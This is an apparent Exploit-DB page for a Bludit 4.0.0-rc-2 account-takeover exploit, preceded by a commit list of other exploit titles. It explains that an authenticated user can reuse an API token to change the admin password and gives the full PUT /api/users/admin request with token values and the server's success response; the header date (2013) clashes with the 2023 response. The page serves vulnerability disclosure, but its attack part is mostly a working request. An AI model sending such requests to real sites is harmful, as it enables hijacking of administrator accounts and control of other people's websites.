2f07358143
16 changes to exploits/shellcodes/ghdb InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal Sielco Analog FM Transmitter 2.12 - Remote Privilege Escalation Sielco Analog FM Transmitter 2.12 - 'id' Cookie Brute Force Session Hijacking Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP Sielco PolyEco Digital FM Transmitter 2.0.6 - Authentication Bypass Exploit Sielco PolyEco Digital FM Transmitter 2.0.6 - Authorization Bypass Factory Reset Sielco PolyEco Digital FM Transmitter 2.0.6 - Radio Data System POST Manipulation Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS) Bludit 4.0.0-rc-2 - Account takeover Microsoft Windows 11 - 'cmd.exe' Denial of Service
90 lines
No EOL
2.8 KiB
Text
90 lines
No EOL
2.8 KiB
Text
## Exploit Title: Bludit 4.0.0-rc-2 - Account takeover
|
|
## Author: nu11secur1ty
|
|
## Date: 04.11.2013
|
|
## Vendor: https://www.bludit.com/
|
|
## Software: https://github.com/bludit/bludit/releases/tag/4.0.0-rc-2
|
|
## Reference: https://www.cloudflare.com/learning/access-management/account-takeover/
|
|
## Reference: https://portswigger.net/daily-swig/facebook-account-takeover-researcher-scoops-40k-bug-bounty-for-chained-exploit
|
|
|
|
## Description:
|
|
The already authenticated attacker can send a normal request to change
|
|
his password and then he can use
|
|
the same JSON `object` and the vulnerable `API token KEY` in the same
|
|
request to change the admin account password.
|
|
Then he can access the admin account and he can do very malicious stuff.
|
|
|
|
STATUS: HIGH Vulnerability
|
|
|
|
[+]Exploit:
|
|
```PUT
|
|
PUT /api/users/admin HTTP/1.1
|
|
Host: 127.0.0.1:8000
|
|
Content-Length: 138
|
|
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
|
|
sec-ch-ua-platform: "Windows"
|
|
sec-ch-ua-mobile: ?0
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
|
|
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
|
|
Safari/537.36
|
|
content-type: application/json
|
|
Accept: */*
|
|
Origin: http://127.0.0.1:8000
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Dest: empty
|
|
Referer: http://127.0.0.1:8000/admin/edit-user/pwned
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-US,en;q=0.9
|
|
Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
|
|
Connection: close
|
|
|
|
{"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}
|
|
|
|
```
|
|
|
|
[+]Response:
|
|
```HTTP
|
|
HTTP/1.1 200 OK
|
|
Host: 127.0.0.1:8000
|
|
Date: Tue, 11 Apr 2023 08:33:51 GMT
|
|
Connection: close
|
|
X-Powered-By: PHP/7.4.30
|
|
Access-Control-Allow-Origin: *
|
|
Content-Type: application/json
|
|
|
|
{"status":"0","message":"User edited.","data":{"key":"admin"}}
|
|
```
|
|
|
|
|
|
## Reproduce:
|
|
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2)
|
|
|
|
## Proof and Exploit:
|
|
[href](https://streamable.com/w3aa4d)
|
|
|
|
## Time spend:
|
|
00:57:00
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and
|
|
https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/>
|
|
|
|
|
|
--
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
Exploit developer at https://packetstormsecurity.com/
|
|
https://cve.mitre.org/index.html
|
|
https://cxsecurity.com/ and https://www.exploit-db.com/
|
|
0day Exploit DataBase https://0day.today/
|
|
home page: https://www.nu11secur1ty.com/
|
|
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
|
|
nu11secur1ty <http://nu11secur1ty.com/> |